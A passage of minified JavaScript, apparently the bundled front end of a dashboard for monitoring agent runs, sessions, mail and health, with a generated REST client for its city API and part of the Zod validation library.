t.state.toLowerCase()==="detached"?"Detached from its session.":"Running with no live session."}}function ry(t){if(t===void 0)return"Awaiting your decision.";const r=t.split(`
+`,1)[0]?.trim()??"";return r.length>0?r:"Awaiting your decision."}function oy(t){return t.filter(r=>r.phase==="blocked").map(r=>({id:r.id,title:r.title,reason:iy(r),remedy:ay(r),scope:r.scope}))}function iy(t){const r=sy(t);if(r!==null)return`Blocked at ${r}`;const i=t.statusCounts.blocked??0;return i>0?`${i} blocked step${i===1?"":"s"}`:"Blocked, awaiting operator"}function ay(t){return t.activeAssignees.length===0?"No worker assigned. Claim or dispatch one.":"Open run detail to review the blocked step."}function sy(t){if(t.progress.status==="active_step"||t.progress.status==="stage_only"){const r=t.progress.stage;if(r.status==="available")return r.label}return null}const om=/^[a-z0-9]([a-z0-9-]*[a-z0-9])?$/i,ly={bead:"bead.",session:"session."};function Wr(t){return t instanceof Error?t.message:typeof t=="string"?t:"unknown error"}function uy(t){if(!t)return"";let r=t.length;for(;r>0&&t.charCodeAt(r-1)===47;)r--;const i=t.slice(0,r);return i.slice(i.lastIndexOf("/")+1)||i}const cy="polecat";function dy(t){return uy(t).toLowerCase().includes(cy)}function py(t){return t.filter(r=>!r.read&&!dy(r.from))}const fy="modulepreload",my=function(t){return"/"+t},rf={},wn=function(r,i,s){let u=Promise.resolve();if(i&&i.length>0){let g=function(y){return Promise.all(y.map(E=>Promise.resolve(E).then(S=>({status:"fulfilled",value:S}),S=>({status:"rejected",reason:S}))))};document.getElementsByTagName("link");const d=document.querySelector("meta[property=csp-nonce]"),m=d?.nonce||d?.getAttribute("nonce");u=g(i.map(y=>{if(y=my(y),y in rf)return;rf[y]=!0;const E=y.endsWith(".css"),S=E?'[rel="stylesheet"]':"";if(document.querySelector(`link[href="${y}"]${S}`))return;const T=document.createElement("link");if(T.rel=E?"stylesheet":fy,E||(T.as="script"),T.crossOrigin="",T.href=y,m&&T.setAttribute("nonce",m),document.head.appendChild(T),E)return new Promise((A,D)=>{T.addEventListener("load",A),T.addEventListener("error",()=>D(new Error(`Unable to preload CSS for ${y}`)))})}))}function p(d){const m=new Event("vite:preloadError",{cancelable:!0});if(m.payload=d,window.dispatchEvent(m),!m.defaultPrevented)throw d}return u.then(d=>{for(const m of d||[])m.status==="rejected"&&p(m.reason);return r().catch(p)})};let Ko=null;function vy(t){if(!om.test(t))throw new Error(`invalid city name: ${t}`);Ko=t}function Ba(){return Ko}function xn(t){const r=Ko;if(r===null)throw new Error(`${t} called before an active city was resolved`);return r}function Fn(t){if(Ko===null)throw new Error(`cityPath("${t}") called before an active city was resolved`);return`/api/city/${encodeURIComponent(Ko)}${t}`}async function hy(t,r,i,s){const u={Accept:"application/json"};s!==void 0&&(u["Content-Type"]="application/json"),t!=="GET"&&(u["X-GC-Request"]="dashboard");const p={method:t,headers:u,credentials:"same-origin"};s!==void 0&&(p.body=JSON.stringify(s));const d=await fetch(r,p);if(!d.ok){const g=await d.text(),y=gy(g),E=y?.error??(g.trim()||d.statusText||`HTTP ${d.status}`);throw new im(d.status,E,y?.kind,y?.reason)}let m;try{m=await d.json()}catch(g){throw new am(r,`body must be valid JSON: ${_y(g)}`)}return i(m,r)}function gy(t){if(t.trim().length!==0)try{const r=JSON.parse(t);return yy(r)?r:void 0}catch{return}}function yy(t){if(typeof t!="object"||t===null)return!1;const r=t;return typeof r.error!="string"||r.kind!==void 0&&typeof r.kind!="string"?!1:r.reason===void 0||typeof r.reason=="string"}async function Mt(t,r,i,s){return hy(t,r,i,s)}class im extends Error{constructor(r,i,s,u){super(i),this.status=r,this.kind=s,this.reason=u,this.name="ApiClientError"}status;kind;reason}class am extends Error{constructor(r,i){super(`Invalid API response for ${r}: ${i}`),this.url=r,this.detail=i,this.name="ApiResponseDecodeError"}url;detail}function _y(t){return t instanceof Error?t.message:typeof t=="string"?t:"unknown error"}function vr(t,r){throw new am(t,r)}function wy(t){return typeof t=="object"&&t!==null&&!Array.isArray(t)}function Ra(t,r,i){return wy(t)||vr(r,`${i} must be an object`),t}function Pt(t,r,i,s){typeof t[s]!="string"&&vr(r,`${i}.${s} must be a string`)}function sm(t,r,i,s){const u=t[s];u!==null&&typeof u!="string"&&vr(r,`${i}.${s} must be a string or null`)}function Gn(t,r,i,s){typeof t[s]!="boolean"&&vr(r,`${i}.${s} must be a boolean`)}function of(t,r,i,s){typeof t[s]!="number"&&vr(r,`${i}.${s} must be a number`)}function Nt(t,r,i,s){Array.isArray(t[s])||vr(r,`${i}.${s} must be an array`)}function Et(t,r,i,s){Ra(t[s],r,`${i}.${s}`)}function xy(t,r,i,s){const u=t[s];u!==null&&(!Array.isArray(u)||u.some(p=>typeof p!="string"))&&vr(r,`${i}.${s} must be an array of strings or null`)}function Qt(t,r){return(i,s)=>{const u=Ra(i,s,t);return r?.(u,s),u}}function lm(t,r){return Qt(t,(i,s)=>{Nt(i,s,t,"items"),r?.(i,s)})}const Ey=Qt("health",(t,r)=>{Gn(t,r,"health","ok"),Pt(t,r,"health","ts")}),Iy=lm("commits",(t,r)=>{Pt(t,r,"commits","view")}),Sy=lm("builds",(t,r)=>{sm(t,r,"builds","source"),Gn(t,r,"builds","failed_marker")}),ky=Qt("config",(t,r)=>{Pt(t,r,"config","cityName"),Pt(t,r,"config","cityRoot"),Gn(t,r,"config","useFixtures"),Gn(t,r,"config","readOnly"),Pt(t,r,"config","operatorAlias"),Pt(t,r,"config","operatorWireAlias"),Pt(t,r,"config","decisionLabel"),xy(t,r,"config","enabledModules"),sm(t,r,"config","defaultView")}),by=Qt("system health",(t,r)=>{Et(t,r,"system health","admin"),Et(t,r,"system health","host")});function Ml(t,r,i,s){Et(t,r,i,s);const u=t[s],p=`${i}.${s}`;Pt(u,r,p,"status")}const zy=Qt("local tool versions",(t,r)=>{Ml(t,r,"local tool versions","dolt"),Ml(t,r,"local tool versions","beads"),Ml(t,r,"local tool versions","gc")}),Cy=Qt("dolt trend",(t,r)=>{Gn(t,r,"dolt trend","available"),Nt(t,r,"dolt trend","samples")}),Ty=Qt("rig store health",(t,r)=>{Gn(t,r,"rig store health","available"),Nt(t,r,"rig store health","rigs")});function af(t,r){const i=Ra(t,r,"supervisor status.status");Et(i,r,"supervisor status.status","work")}const By=Qt("supervisor status",(t,r)=>{Gn(t,r,"supervisor status","available"),t.available===!0?(Pt(t,r,"supervisor status","sampledAt"),af(t.status,r)):(Pt(t,r,"supervisor status","reason"),t.status!==null&&af(t.status,r))}),Ry=Qt("run diff",(t,r)=>{Pt(t,r,"run diff","kind"),Et(t,r,"run diff","rootPath"),Et(t,r,"run diff","comparison"),Nt(t,r,"run diff","status"),Nt(t,r,"run diff","changedFiles"),Pt(t,r,"run diff","patch"),Gn(t,r,"run diff","truncated")}),Py=Qt("run summary",(t,r)=>{of(t,r,"run summary","totalActive"),of(t,r,"run summary","totalHistorical"),Nt(t,r,"run summary","lanes"),Nt(t,r,"run summary","historicalLanes"),Nt(t,r,"run summary","blockedLanes"),Nt(t,r,"run summary","recentChanges"),Et(t,r,"run summary","runCounts"),Et(t,r,"run summary","census")}),Ny=Qt("formula run detail",(t,r)=>{Pt(t,r,"formula run detail","runId"),Et(t,r,"formula run detail","formula"),Et(t,r,"formula run detail","formulaDetail"),Et(t,r,"formula run detail","executionPath"),Et(t,r,"formula run detail","snapshotEventSeq"),Et(t,r,"formula run detail","completeness");const i=Ra(t.progress,r,"formula run detail.progress");Et(i,r,"formula run detail.progress","statusCounts"),Nt(t,r,"formula run detail","stages"),Nt(t,r,"formula run detail","nodes"),Nt(t,r,"formula run detail","edges"),Nt(t,r,"formula run detail","lanes")});function Ay(t,r="request failed"){if(t instanceof im){const i={message:t.message,status:t.status};return t.kind!==void 0&&(i.kind=t.kind),i}return t instanceof Error?{message:t.message}:{message:r}}function Jt(t,r="request failed"){const i=Ay(t,r);return i.status===void 0?i.message:`${i.status} ${i.message}`}const Yr={health(){return Mt("GET","/api/health",Ey)},listCommits(t){return Mt("GET",`/api/git/commits?view=${encodeURIComponent(t)}`,Iy)},listBuilds(){return Mt("GET","/api/builds",Sy)},config(){return Mt("GET",Fn("/config"),ky)},systemHealth(){return Mt("GET","/api/health/system",by)},localToolVersions(){return Mt("GET","/api/health/local-tools",zy)},doltTrend(){return Mt("GET",Fn("/dolt-noms/trend"),Cy)},rigStoreHealth(){return Mt("GET",Fn("/rig-store-health"),Ty)},supervisorStatus(){return Mt("GET",Fn("/supervisor-status"),By)},runDiff(t,r,i){const s=Oy(i);return Mt("POST",Fn(`/runs/${encodeURIComponent(t)}/diff${s}`),Ry,r)},runSummary(){return Mt("GET",Fn("/runs/summary"),Py)},runDetail(t){return Mt("GET",Fn(`/runs/${encodeURIComponent(t)}/detail`),Ny)},runDetailStreamUrl(t){return Fn(`/runs/${encodeURIComponent(t)}/detail/stream`)}};function Oy(t){const r=new URLSearchParams;t?.scopeKind&&t.scopeRef&&(r.set("scope_kind",t.scopeKind),r.set("scope_ref",t.scopeRef));const i=r.toString();return i.length>0?`?${i}`:""}const Xo=["agents","beads","runs","mail","activity","health"],jy=5,$y=new Map(Xo.map((t,r)=>[t,r]));function Jl(t,r={}){const i=Ly(),s=[];let u=0;for(const y of t)for(const E of y.getItems()){s.push({item:E,index:u});const S=i[E.domain],T=[...S.items,E];i[E.domain]={domain:E.domain,attention:S.attention+(E.severity==="attention"?1:0),watch:S.watch+(E.severity==="watch"?1:0),unavailable:S.unavailable+(E.severity==="unavailable"?1:0),severity:E.severity==="unavailable"?S.severity:Dy(S.severity,E.severity),items:T},u+=1}const p=s.sort((y,E)=>My(y.item,E.item)||y.index-E.index).map(({item:y})=>y),d=r.topLimit??jy,m=p.slice(0,d),g=Fy(p.slice(d));return{items:p,topItems:m,overflowByDomain:g,byDomain:i}}function Ly(){const t={};for(const r of Xo)t[r]={domain:r,attention:0,watch:0,unavailable:0,severity:null,items:[]};return t}function Dy(t,r){return t==="attention"||r==="attention"?"attention":"watch"}function My(t,r){return sf(t.severity)-sf(r.severity)||ma(r.current??!0)-ma(t.current??!0)||ma(r.actionable??!1)-ma(t.actionable??!1)||lf(r.updatedAt)-lf(t.updatedAt)||uf(t.domain)-uf(r.domain)}function sf(t){switch(t){case"attention":return 0;case"watch":return 1;case"unavailable":return 2}}function ma(t){return t?1:0}function lf(t){if(t===void 0)return 0;const r=Date.parse(t);return Number.isFinite(r)?r:0}function uf(t){return $y.get(t)??Xo.length}function Fy(t){const r=[];for(const i of Xo){let s=0,u=0,p=0;for(const m of t)m.domain===i&&(m.severity==="attention"?s+=1:m.severity==="watch"?u+=1:p+=1);const d=s+u+p;d>0&&r.push({domain:i,attention:s,watch:u,unavailable:p,total:d})}return r}const Uy=Jl([]),um=b.createContext(Uy);function Zy({contributors:t,topLimit:r,children:i}){const s=b.useMemo(()=>r===void 0?Jl(t):Jl(t,{topLimit:r}),[t,r]);return $.jsx(um.Provider,{value:s,children:i})}function qy(){return b.useContext(um)}const cu=new Map;function Fl(t){return cu.get(t)?.value}function va(t){return cu.get(t)?.fetchedAt}function Vy(t,r){cu.set(t,{value:r,fetchedAt:new Date().toISOString()})}function mn(t,r,i){const s=b.useRef(r);s.current=r;const u=b.useRef(i?.refreshFetcher);u.current=i?.refreshFetcher;const p=b.useRef(i?.sseRefreshFetcher);p.current=i?.sseRefreshFetcher;const d=b.useRef(i?.onError);d.current=i?.onError;const m=b.useRef(t);m.current=t;const g=b.useRef(0),[y,E]=b.useState(()=>Fl(t)),[S,T]=b.useState(()=>Fl(t)===void 0),[A,D]=b.useState(null),[W,O]=b.useState(()=>va(t)),H=b.useCallback(async G=>{const ee=g.current+1;g.current=ee;const ue=t;T(!0),D(null);try{const de=await G(),pe=g.current===ee,Re=m.current===ue;pe&&Re?(Vy(ue,de),E(de),O(va(ue))):Re&&(E(ye=>ye===void 0?de:ye),O(ye=>ye??va(ue)??new Date().toISOString()))}catch(de){g.current===ee&&(D(de instanceof Error?de.message:"failed to load"),d.current?.(de))}finally{g.current===ee&&T(!1)}},[t]),oe=b.useCallback(()=>H(u.current??s.current),[H]),Q=b.useCallback(()=>H(p.current??u.current??s.current),[H]);return b.useEffect(()=>{const G=Fl(t);return E(G),T(G===void 0),O(va(t)),H(s.current),()=>{g.current+=1}},[t,H]),{data:y,loading:S,error:A,fetchedAt:W,refresh:oe,cheapRefresh:Q}}var Wy=async(t,r)=>{let i=typeof r=="function"?await r(t):r;if(i)return t.scheme==="bearer"?`Bearer ${i}`:t.scheme==="basic"?`Basic ${btoa(i)}`:i},Hy={bodySerializer:t=>JSON.stringify(t,(r,i)=>typeof i=="bigint"?i.toString():i)},Gy=t=>{switch(t){case"label":return".";case"matrix":return";";case"simple":return",";default:return"&"}},Jy=t=>{switch(t){case"form":return",";case"pipeDelimited":return"|";case"spaceDelimited":return"%20";default:return","}},Ky=t=>{switch(t){case"label":return".";case"matrix":return";";case"simple":return",";default:return"&"}},cm=({allowReserved:t,explode:r,name:i,style:s,value:u})=>{if(!r){let m=(t?u:u.map(g=>encodeURIComponent(g))).join(Jy(s));switch(s){case"label":return`.${m}`;case"matrix":return`;${i}=${m}`;case"simple":return m;default:return`${i}=${m}`}}let p=Gy(s),d=u.map(m=>s==="label"||s==="simple"?t?m:encodeURIComponent(m):Pa({allowReserved:t,name:i,value:m})).join(p);return s==="label"||s==="matrix"?p+d:d},Pa=({allowReserved:t,name:r,value:i})=>{if(i==null)return"";if(typeof i=="object")throw new Error("Deeply-nested arrays/objects aren’t supported. Provide your own `querySerializer()` to handle these.");return`${r}=${t?i:encodeURIComponent(i)}`},dm=({allowReserved:t,explode:r,name:i,style:s,value:u,valueOnly:p})=>{if(u instanceof Date)return p?u.toISOString():`${i}=${u.toISOString()}`;if(s!=="deepObject"&&!r){let g=[];Object.entries(u).forEach(([E,S])=>{g=[...g,E,t?S:encodeURIComponent(S)]});let y=g.join(",");switch(s){case"form":return`${i}=${y}`;case"label":return`.${y}`;case"matrix":return`;${i}=${y}`;default:return y}}let d=Ky(s),m=Object.entries(u).map(([g,y])=>Pa({allowReserved:t,name:s==="deepObject"?`${i}[${g}]`:g,value:y})).join(d);return s==="label"||s==="matrix"?d+m:m},Qy=/\{[^{}]+\}/g,Yy=({path:t,url:r})=>{let i=r,s=r.match(Qy);if(s)for(let u of s){let p=!1,d=u.substring(1,u.length-1),m="simple";d.endsWith("*")&&(p=!0,d=d.substring(0,d.length-1)),d.startsWith(".")?(d=d.substring(1),m="label"):d.startsWith(";")&&(d=d.substring(1),m="matrix");let g=t[d];if(g==null)continue;if(Array.isArray(g)){i=i.replace(u,cm({explode:p,name:d,style:m,value:g}));continue}if(typeof g=="object"){i=i.replace(u,dm({explode:p,name:d,style:m,value:g,valueOnly:!0}));continue}if(m==="matrix"){i=i.replace(u,`;${Pa({name:d,value:g})}`);continue}let y=encodeURIComponent(m==="label"?`.${g}`:g);i=i.replace(u,y)}return i},pm=({allowReserved:t,array:r,object:i}={})=>s=>{let u=[];if(s&&typeof s=="object")for(let p in s){let d=s[p];if(d!=null)if(Array.isArray(d)){let m=cm({allowReserved:t,explode:!0,name:p,style:"form",value:d,...r});m&&u.push(m)}else if(typeof d=="object"){let m=dm({allowReserved:t,explode:!0,name:p,style:"deepObject",value:d,...i});m&&u.push(m)}else{let m=Pa({allowReserved:t,name:p,value:d});m&&u.push(m)}}return u.join("&")},Xy=t=>{if(!t)return"stream";let r=t.split(";")[0]?.trim();if(r){if(r.startsWith("application/json")||r.endsWith("+json"))return"json";if(r==="multipart/form-data")return"formData";if(["application/","audio/","image/","video/"].some(i=>r.startsWith(i)))return"blob";if(r.startsWith("text/"))return"text"}},e7=async({security:t,...r})=>{for(let i of t){let s=await Wy(i,r.auth);if(!s)continue;let u=i.name??"Authorization";switch(i.in){case"query":r.query||(r.query={}),r.query[u]=s;break;case"cookie":r.headers.append("Cookie",`${u}=${s}`);break;default:r.headers.set(u,s);break}return}},cf=t=>t7({baseUrl:t.baseUrl,path:t.path,query:t.query,querySerializer:typeof t.querySerializer=="function"?t.querySerializer:pm(t.querySerializer),url:t.url}),t7=({baseUrl:t,path:r,query:i,querySerializer:s,url:u})=>{let p=u.startsWith("/")?u:`/${u}`,d=(t??"")+p;r&&(d=Yy({path:r,url:d}));let m=i?s(i):"";return m.startsWith("?")&&(m=m.substring(1)),m&&(d+=`?${m}`),d},df=(t,r)=>{let i={...t,...r};return i.baseUrl?.endsWith("/")&&(i.baseUrl=i.baseUrl.substring(0,i.baseUrl.length-1)),i.headers=fm(t.headers,r.headers),i},fm=(...t)=>{let r=new Headers;for(let i of t){if(!i||typeof i!="object")continue;let s=i instanceof Headers?i.entries():Object.entries(i);for(let[u,p]of s)if(p===null)r.delete(u);else if(Array.isArray(p))for(let d of p)r.append(u,d);else p!==void 0&&r.set(u,typeof p=="object"?JSON.stringify(p):p)}return r},Ul=class{_fns;constructor(){this._fns=[]}clear(){this._fns=[]}getInterceptorIndex(t){return typeof t=="number"?this._fns[t]?t:-1:this._fns.indexOf(t)}exists(t){let r=this.getInterceptorIndex(t);return!!this._fns[r]}eject(t){let r=this.getInterceptorIndex(t);this._fns[r]&&(this._fns[r]=null)}update(t,r){let i=this.getInterceptorIndex(t);return this._fns[i]?(this._fns[i]=r,t):!1}use(t){return this._fns=[...this._fns,t],this._fns.length-1}},n7=()=>({error:new Ul,request:new Ul,response:new Ul}),r7=pm({allowReserved:!1,array:{explode:!0,style:"form"},object:{explode:!0,style:"deepObject"}}),o7={"Content-Type":"application/json"},mm=(t={})=>({...Hy,headers:o7,parseAs:"auto",querySerializer:r7,...t}),vm=(t={})=>{let r=df(mm(),t),i=()=>({...r}),s=d=>(r=df(r,d),i()),u=n7(),p=async d=>{let m={...r,...d,fetch:d.fetch??r.fetch??globalThis.fetch,headers:fm(r.headers,d.headers)};m.security&&await e7({...m,security:m.security}),m.body&&m.bodySerializer&&(m.body=m.bodySerializer(m.body)),(m.body===void 0||m.body==="")&&m.headers.delete("Content-Type");let g=cf(m),y={redirect:"follow",...m},E=new Request(g,y);for(let O of u.request._fns)O&&(E=await O(E,m));let S=m.fetch,T=await S(E);for(let O of u.response._fns)O&&(T=await O(T,E,m));let A={request:E,response:T};if(T.ok){if(T.status===204||T.headers.get("Content-Length")==="0")return m.responseStyle==="data"?{}:{data:{},...A};let O=(m.parseAs==="auto"?Xy(T.headers.get("Content-Type")):m.parseAs)??"json";if(O==="stream")return m.responseStyle==="data"?T.body:{data:T.body,...A};let H=await T[O]();return O==="json"&&(m.responseValidator&&await m.responseValidator(H),m.responseTransformer&&(H=await m.responseTransformer(H))),m.responseStyle==="data"?H:{data:H,...A}}let D=await T.text();try{D=JSON.parse(D)}catch{}let W=D;for(let O of u.error._fns)O&&(W=await O(D,T,E,m));if(W=W||{},m.throwOnError)throw W;return m.responseStyle==="data"?void 0:{error:W,...A}};return{buildUrl:cf,connect:d=>p({...d,method:"CONNECT"}),delete:d=>p({...d,method:"DELETE"}),get:d=>p({...d,method:"GET"}),getConfig:i,head:d=>p({...d,method:"HEAD"}),interceptors:u,options:d=>p({...d,method:"OPTIONS"}),patch:d=>p({...d,method:"PATCH"}),post:d=>p({...d,method:"POST"}),put:d=>p({...d,method:"PUT"}),request:p,setConfig:s,trace:d=>p({...d,method:"TRACE"})}};const Se=vm(mm()),i7=t=>(t?.client??Se).get({url:"/health",...t}),a7=t=>(t?.client??Se).get({url:"/v0/cities",...t}),s7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/agent/{base}/prime",...t}),l7=t=>(t.client??Se).post({url:"/v0/city/{cityName}/agent/{base}/{action}",...t}),u7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/agent/{dir}/{base}/prime",...t}),c7=t=>(t.client??Se).post({url:"/v0/city/{cityName}/agent/{dir}/{base}/{action}",...t}),d7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/agents",...t}),p7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/bead/{id}",...t}),f7=t=>(t.client??Se).patch({url:"/v0/city/{cityName}/bead/{id}",...t,headers:{"Content-Type":"application/json",...t.headers}}),m7=t=>(t.client??Se).post({url:"/v0/city/{cityName}/bead/{id}/close",...t,headers:{"Content-Type":"application/json",...t.headers}}),v7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/beads",...t}),h7=t=>(t.client??Se).post({url:"/v0/city/{cityName}/beads",...t,headers:{"Content-Type":"application/json",...t.headers}}),g7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/events",...t}),y7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/formulas/feed",...t}),_7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/formulas/{name}",...t}),w7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/health",...t}),x7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/mail",...t}),E7=t=>(t.client??Se).post({url:"/v0/city/{cityName}/mail",...t,headers:{"Content-Type":"application/json",...t.headers}}),I7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/mail/thread/{id}",...t}),S7=t=>(t.client??Se).post({url:"/v0/city/{cityName}/mail/{id}/archive",...t}),k7=t=>(t.client??Se).post({url:"/v0/city/{cityName}/mail/{id}/mark-unread",...t}),b7=t=>(t.client??Se).post({url:"/v0/city/{cityName}/mail/{id}/read",...t}),z7=t=>(t.client??Se).post({url:"/v0/city/{cityName}/mail/{id}/reply",...t,headers:{"Content-Type":"application/json",...t.headers}}),C7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/rigs",...t}),T7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/session/{id}/pending",...t}),B7=t=>(t.client??Se).post({url:"/v0/city/{cityName}/session/{id}/respond",...t,headers:{"Content-Type":"application/json",...t.headers}}),R7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/session/{id}/transcript",...t}),P7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/sessions",...t}),N7=t=>(t.client??Se).post({url:"/v0/city/{cityName}/sling",...t,headers:{"Content-Type":"application/json",...t.headers}}),A7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/status",...t}),O7=t=>(t.client??Se).get({url:"/v0/city/{cityName}/workflow/{workflow_id}",...t});var pf;function j(t,r,i){function s(m,g){if(m._zod||Object.defineProperty(m,"_zod",{value:{def:g,constr:d,traits:new Set},enumerable:!1}),m._zod.traits.has(t))return;m._zod.traits.add(t),r(m,g);const y=d.prototype,E=Object.keys(y);for(let S=0;S<E.length;S++){const T=E[S];T in m||(m[T]=y[T].bind(m))}}const u=i?.Parent??Object;class p extends u{}Object.defineProperty(p,"name",{value:t});function d(m){var g;const y=i?.Parent?new p:this;s(y,m),(g=y._zod).deferred??(g.deferred=[]);for(const E of y._zod.deferred)E();return y}return Object.defineProperty(d,"init",{value:s}),Object.defineProperty(d,Symbol.hasInstance,{value:m=>i?.Parent&&m instanceof i.Parent?!0:m?._zod?.traits?.has(t)}),Object.defineProperty(d,"name",{value:t}),d}class Hr extends Error{constructor(){super("Encountered Promise during synchronous parse. Use .parseAsync() instead.")}}class hm extends Error{constructor(r){super(`Encountered unidirectional transform during encode: ${r}`),this.name="ZodEncodeError"}}(pf=globalThis).__zod_globalConfig??(pf.__zod_globalConfig={});const du=globalThis.__zod_globalConfig;function vn(t){return du}function gm(t){const r=Object.values(t).filter(s=>typeof s=="number");return Object.entries(t).filter(([s,u])=>r.indexOf(+s)===-1).map(([s,u])=>u)}function Kl(t,r){return typeof r=="bigint"?r.toString():r}function Na(t){return{get value(){{const r=t();return Object.defineProperty(this,"value",{value:r}),r}}}}function pu(t){return t==null}function fu(t){const r=t.startsWith("^")?1:0,i=t.endsWith("$")?t.length-1:t.length;return t.slice(r,i)}function j7(t,r){const i=t/r,s=Math.round(i),u=Number.EPSILON*Math.max(Math.abs(i),1);return Math.abs(i-s)<u?0:i-s}const ff=Symbol("evaluating");function ze(t,r,i){let s;Object.defineProperty(t,r,{get(){if(s!==ff)return s===void 0&&(s=ff,s=i()),s},set(u){Object.defineProperty(t,r,{value:u})},configurable:!0})}function hr(t,r,i){Object.defineProperty(t,r,{value:i,writable:!0,enumerable:!0,configurable:!0})}function Kn(...t){const r={};for(const i of t){const s=Object.getOwnPropertyDescriptors(i);Object.assign(r,s)}return Object.defineProperties({},r)}function mf(t){return JSON.stringify(t)}function $7(t){return t.toLowerCase().trim().replace(/[^\w\s-]/g,"").replace(/[\s_-]+/g,"-").replace(/^-+|-+$/g,"")}const ym="captureStackTrace"in Error?Error.captureStackTrace:(...t)=>{};function Qo(t){return typeof t=="object"&&t!==null&&!Array.isArray(t)}const L7=Na(()=>{if(du.jitless||typeof navigator<"u"&&navigator?.userAgent?.includes("Cloudflare"))return!1;try{const t=Function;return new t(""),!0}catch{return!1}});function Xr(t){if(Qo(t)===!1)return!1;const r=t.constructor;if(r===void 0||typeof r!="function")return!0;const i=r.prototype;return!(Qo(i)===!1||Object.prototype.hasOwnProperty.call(i,"isPrototypeOf")===!1)}function _m(t){return Xr(t)?{...t}:Array.isArray(t)?[...t]:t instanceof Map?new Map(t):t instanceof Set?new Set(t):t}const D7=new Set(["string","number","symbol"]);function eo(t){return t.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function Qn(t,r,i){const s=new t._zod.constr(r??t._zod.def);return(!r||i?.parent)&&(s._zod.parent=t),s}function ie(t){const r=t;if(!r)return{};if(typeof r=="string")return{error:()=>r};if(r?.message!==void 0){if(r?.error!==void 0)throw new Error("Cannot specify both `message` and `error` params");r.error=r.message}return delete r.message,typeof r.error=="string"?{...r,error:()=>r.error}:r}function M7(t){return Object.keys(t).filter(r=>t[r]._zod.optin==="optional"&&t[r]._zod.optout==="optional")}const F7={safeint:[Number.MIN_SAFE_INTEGER,Number.MAX_SAFE_INTEGER],int32:[-2147483648,2147483647],uint32:[0,4294967295],float32:[-34028234663852886e22,34028234663852886e22],float64:[-Number.MAX_VALUE,Number.MAX_VALUE]};function U7(t,r){const i=t._zod.def,s=i.checks;if(s&&s.length>0)throw new Error(".pick() cannot be used on object schemas containing refinements");const p=Kn(t._zod.def,{get shape(){const d={};for(const m in r){if(!(m in i.shape))throw new Error(`Unrecognized key: "${m}"`);r[m]&&(d[m]=i.shape[m])}return hr(this,"shape",d),d},checks:[]});return Qn(t,p)}function Z7(t,r){const i=t._zod.def,s=i.checks;if(s&&s.length>0)throw new Error(".omit() cannot be used on object schemas containing refinements");const p=Kn(t._zod.def,{get shape(){const d={...t._zod.def.shape};for(const m in r){if(!(m in i.shape))throw new Error(`Unrecognized key: "${m}"`);r[m]&&delete d[m]}return hr(this,"shape",d),d},checks:[]});return Qn(t,p)}function q7(t,r){if(!Xr(r))throw new Error("Invalid input to extend: expected a plain object");const i=t._zod.def.checks;if(i&&i.length>0){const p=t._zod.def.shape;for(const d in r)if(Object.getOwnPropertyDescriptor(p,d)!==void 0)throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead.")}const u=Kn(t._zod.def,{get shape(){const p={...t._zod.def.shape,...r};return hr(this,"shape",p),p}});return Qn(t,u)}function V7(t,r){if(!Xr(r))throw new Error("Invalid input to safeExtend: expected a plain object");const i=Kn(t._zod.def,{get shape(){const s={...t._zod.def.shape,...r};return hr(this,"shape",s),s}});return Qn(t,i)}function W7(t,r){if(t._zod.def.checks?.length)throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead.");const i=Kn(t._zod.def,{get shape(){const s={...t._zod.def.shape,...r._zod.def.shape};return hr(this,"shape",s),s},get catchall(){return r._zod.def.catchall},checks:r._zod.def.checks??[]});return Qn(t,i)}function H7(t,r,i){const u=r._zod.def.checks;if(u&&u.length>0)throw new Error(".partial() cannot be used on object schemas containing refinements");const d=Kn(r._zod.def,{get shape(){const m=r._zod.def.shape,g={...m};if(i)for(const y in i){if(!(y in m))throw new Error(`Unrecognized key: "${y}"`);i[y]&&(g[y]=t?new t({type:"optional",innerType:m[y]}):m[y])}else for(const y in m)g[y]=t?new t({type:"optional",innerType:m[y]}):m[y];return hr(this,"shape",g),g},checks:[]});return Qn(r,d)}function G7(t,r,i){const s=Kn(r._zod.def,{get shape(){const u=r._zod.def.shape,p={...u};if(i)for(const d in i){if(!(d in p))throw new Error(`Unrecognized key: "${d}"`);i[d]&&(p[d]=new t({type:"nonoptional",innerType:u[d]}))}else for(const d in u)p[d]=new t({type:"nonoptional",innerType:u[d]});return hr(this,"shape",p),p}});return Qn(r,s)}function qr(t,r=0){if(t.aborted===!0)return!0;for(let i=r;i<t.issues.length;i++)if(t.issues[i]?.continue!==!0)return!0;return!1}function J7(t,r=0){if(t.aborted===!0)return!0;for(let i=r;i<t.issues.length;i++)if(t.issues[i]?.continue===!1)return!0;return!1}function Vr(t,r){return r.map(i=>{var s;return(s=i).path??(s.path=[]),i.path.unshift(t),i})}function ha(t){return typeof t=="string"?t:t?.message}function hn(t,r,i){const s=t.message?t.message:ha(t.inst?._zod.def?.error?.(t))??ha(r?.error?.(t))??ha(i.customError?.(t))??ha(i.localeError?.(t))??"Invalid input",{inst:u,continue:p,input:d,...m}=t;return m.path??(m.path=[]),m.message=s,r?.reportInput&&(m.input=d),m}function mu(t){return Array.isArray(t)?"array":typeof t=="string"?"string":"unknown"}function Yo(...t){const[r,i,s]=t;return typeof r=="string"?{message:r,code:"custom",input:i,inst:s}:{...r}}const wm=(t,r)=>{t.name="$ZodError",Object.defineProperty(t,"_zod",{value:t._zod,enumerable:!1}),Object.defineProperty(t,"issues",{value:r,enumerable:!1}),t.message=JSON.stringify(r,Kl,2),Object.defineProperty(t,"toString",{value:()=>t.message,enumerable:!1})},xm=j("$ZodError",wm),Em=j("$ZodError",wm,{Parent:Error});function K7(t,r=i=>i.message){const i={},s=[];for(const u of 